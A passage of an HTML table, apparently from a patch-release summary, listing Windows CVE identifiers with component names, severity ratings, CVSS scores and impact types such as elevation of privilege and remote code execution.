 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
